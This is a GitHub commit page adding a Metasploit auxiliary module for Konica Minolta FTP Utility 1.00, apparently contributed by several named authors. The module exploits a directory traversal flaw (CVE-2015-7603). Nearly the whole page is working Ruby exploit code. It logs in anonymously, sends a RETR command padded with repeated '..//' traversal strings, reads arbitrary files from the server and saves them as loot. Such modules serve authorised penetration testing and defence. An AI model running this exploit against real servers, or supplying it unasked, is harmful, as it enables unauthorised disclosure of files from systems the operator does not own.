Skip to content

Commit f0da090

Browse files
committed
Land rapid7#6233, Konica Minolta FTP Utility 1.00 Directory Traversal
2 parents 24c41c9 + 740cacb commit f0da090

File tree

1 file changed

+102
-0
lines changed

1 file changed

+102
-0
lines changed
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Ftp
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0.
19+
This vulnerability allows an attacker to download arbitrary files from the server by crafting
20+
a RETR command that includes file system traversal strings such as '..//'
21+
},
22+
'Platform' => 'win',
23+
'Author' =>
24+
[
25+
'Jay Turla', # @shipcod3, msf
26+
'James Fitts', # msf
27+
'Brad Wolfe <brad.wolfe[at]gmail.com>', # msf
28+
'shinnai' # initial discovery
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'EDB', '38260'],
34+
[ 'CVE', '2015-7603'],
35+
[ 'URL', 'http://shinnai.altervista.org/exploits/SH-0024-20150922.html']
36+
],
37+
'DisclosureDate' => 'Sep 22 2015'
38+
))
39+
40+
register_options(
41+
[
42+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
43+
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
44+
], self.class)
45+
end
46+
47+
def check_host(ip)
48+
begin
49+
connect
50+
if /FTP Utility FTP server \(Version 1\.00\)/i === banner
51+
return Exploit::CheckCode::Appears
52+
end
53+
ensure
54+
disconnect
55+
end
56+
57+
Exploit::CheckCode::Safe
58+
end
59+
60+
def run_host(target_host)
61+
begin
62+
# Login anonymously and open the socket that we'll use for data retrieval.
63+
connect_login
64+
sock = data_connect
65+
file_path = datastore['PATH']
66+
file = ::File.basename(file_path)
67+
68+
# make RETR request and store server response message...
69+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
70+
res = send_cmd( ["RETR", retr_cmd])
71+
72+
# read the file data from the socket that we opened
73+
response_data = sock.read(1024)
74+
75+
unless response_data
76+
print_error("#{file_path} not found")
77+
return
78+
end
79+
80+
if response_data.length == 0 or ! (res =~ /^150/ )
81+
print_status("File (#{file_path})from #{peer} is empty...")
82+
return
83+
end
84+
85+
# store file data to loot
86+
loot_file = store_loot("konica.ftp.data", "text", rhost, response_data, file, file_path)
87+
vprint_status("Data returned:\n")
88+
vprint_line(response_data)
89+
print_good("Stored #{file_path} to #{loot_file}")
90+
91+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
92+
vprint_error(e.message)
93+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
94+
rescue ::Timeout::Error, ::Errno::EPIPE => e
95+
vprint_error(e.message)
96+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
97+
ensure
98+
data_disconnect
99+
disconnect
100+
end
101+
end
102+
end

0 commit comments

Comments
 (0)